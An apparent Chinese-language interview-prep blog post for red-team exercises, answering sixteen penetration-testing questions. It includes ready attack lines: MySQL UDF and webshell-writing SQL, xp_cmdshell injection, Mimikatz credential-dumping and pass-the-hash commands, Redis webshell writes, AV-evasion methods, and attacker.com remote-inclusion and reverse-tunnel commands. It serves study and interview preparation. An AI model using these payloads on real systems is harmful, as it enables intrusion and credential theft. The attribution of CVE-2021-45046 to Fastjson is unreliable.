安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年HW(护网面试) 47
1、udf提权 2、命令执行与代码执行的区别 3、文件包含利用姿势 4、漏洞复现 5、sqlserver的注入相关 6、预编译怎么进行sql注入 7、内网的正向代理和反向代理 8、mimikatz的使用 9、目标出不了内网咋办 10、如何绕过disable_function 11、mysql进行写shell的方法 12、redis的漏洞利用相关 13、sqlmap的os-shell写了哪些文件 14、最近在研究啥 15、免杀 16、java的相关的反系列化
1. UDF提权
- 原理:利用MySQL自定义函数(UDF)加载恶意共享库(.so/.dll),执行系统命令。
- 步骤:
- 上传编译好的UDF库(如
lib_mysqludf_sys.so
)到插件目录。- 创建UDF函数:
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'udf.so';
- 执行命令:
SELECT sys_exec('id');
- 条件:
- MySQL有
FILE
权限且secure_file_priv
为空。- 知晓服务器绝对路径。
- 防御:限制
FILE
权限,设置secure_file_priv
,禁用动态库加载。
2. 命令执行与代码执行的区别
类型 命令执行(RCE) 代码执行 执行环境 直接调用操作系统命令(如 /bin/sh
)在编程语言解释器中执行代码(如PHP的 eval()
)危害范围 影响整个系统 受限于语言环境(如PHP沙盒) 示例函数 system()
,exec()
eval()
,assert()
3. 文件包含利用姿势
- 本地文件包含(LFI):
- 读取敏感文件:
/etc/passwd
、配置文件。- 结合日志注入:包含Apache日志写入PHP代码。
- 远程文件包含(RFI):
- 加载远程恶意脚本:
http://attacker.com/shell.txt
。- 协议利用:
php://filter
读取源码:php://filter/convert.base64-encode/resource=index.php
。- 无回显利用:
- 触发错误日志或延时判断(盲注)。
4. 漏洞复现流程
- 环境搭建:使用Docker/Vulhub快速部署漏洞环境。
- 漏洞验证:
- 手工测试:构造Payload触发漏洞(如SQLi、XSS)。
- 工具辅助:Burp Suite、SQLMap。
- 利用链构造:结合多个漏洞实现RCE(如LFI+日志注入)。
- 结果验证:获取Shell/敏感数据,记录复现步骤。
5. SQL Server注入相关
- 堆叠查询:
'; EXEC xp_cmdshell 'whoami'--
(需开启xp_cmdshell
)。- 差异备份写Shell:利用备份功能写入ASPX木马。
- 盲注函数:
WAITFOR DELAY '0:0:5'
、CHAR()
。- 权限提升:
EXEC sp_addsrvrolemember 'user', 'sysadmin'
。
6. 预编译如何绕过SQL注入
- 预编译原理:SQL语句与参数分离,避免拼接。
- 绕过场景:
- 二次注入:参数入库后被其他功能拼接使用。
- 非参数化部分:如
ORDER BY
后接动态字段名。- 存储过程动态SQL:内部使用
EXEC()
执行拼接语句。
7. 内网正向代理与反向代理
类型 正向代理 反向代理 角色 客户端主动连接代理访问目标 服务端通过代理接收外部请求 渗透应用 内网穿透(如SSH -L端口转发) 隐藏内网服务(Nginx反向代理) 工具 frp、Proxychains Ngrok、Cobalt Strike
8. Mimikatz使用
- 常用命令:
- 抓取明文密码:
sekurlsa::logonpasswords
。- 导出Kerberos票据:
kerberos::list /export
。- PTH攻击:
sekurlsa::pth /user:admin /domain:test /ntlm:xxxx
。- 绕过防御:
- 使用内存加载(无文件执行)。
- 禁用LSASS保护检测(需管理员权限)。
9. 目标出不了内网的解决方案
- DNS隧道:使用dnscat2传输数据。
- ICMP隧道:icmpsh或PingTunnel。
- 端口转发:
- 正向代理:
ssh -L 8080:内网IP:80 user@跳板机
。- 反向代理:
plink -R 4444:localhost:80 attacker.com
。- Web通道:利用HTTP长连接传输数据(如ReGeorg)。
10. 绕过disable_function方法
- LD_PRELOAD劫持:通过恶意so文件劫持函数调用。
- ImageMagick漏洞:利用CVE-2016-3714执行命令。
- FFI扩展:PHP 7.4+的FFI接口直接调用系统函数。
- COM组件(Windows):
new COM("WScript.Shell")
执行命令。
11. MySQL写Shell方法
- INTO OUTFILE:
sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php';
- 日志文件写入:
sql
SET global general_log_file='/var/www/shell.php'; SET global general_log=on; SELECT '<?php eval($_POST[cmd]); ?>';
12. Redis漏洞利用
- 未授权访问:直接执行
CONFIG SET dir /var/www
写入SSH密钥或Webshell。- 主从复制RCE:伪造恶意主节点,同步加载恶意模块。
- Lua沙盒绕过:CVE-2022-0543执行系统命令。
13. SQLMap os-shell写入文件
- MySQL:写入UDF库(如
/usr/lib/mysql/plugin/udf.so
)和临时Webshell。- MSSQL:通过
xp_cmdshell
生成Bat脚本或VBS脚本。- Oracle:利用DBMS_ADVISOR写入Java类文件。
14. 最近研究方向
- AI模型安全:对抗样本攻击、模型逆向工程。
- 云原生渗透:Kubernetes逃逸、Serverless函数漏洞。
- 硬件安全:物联网设备固件分析、旁路攻击(如功耗分析)。
15. 免杀技术(Bypass AV/EDR)
- 静态免杀:
- 加密Shellcode(AES/XOR)。
- 代码混淆(如Polymorphic代码)。
- 动态免杀:
- 内存加载(无文件执行)。
- API调用混淆(如直接系统调用)。
- 工具:Cobalt Strike Artifact Kit、Shellter。
16. Java反序列化漏洞
- 利用链:
- Commons Collections:
InvokerTransformer
链触发RCE。- Fastjson:JNDI注入(如CVE-2021-45046)。
- JDK原生链:
AnnotationInvocationHandler
。- 防御:升级依赖库,启用反序列化过滤器(JEP 290)。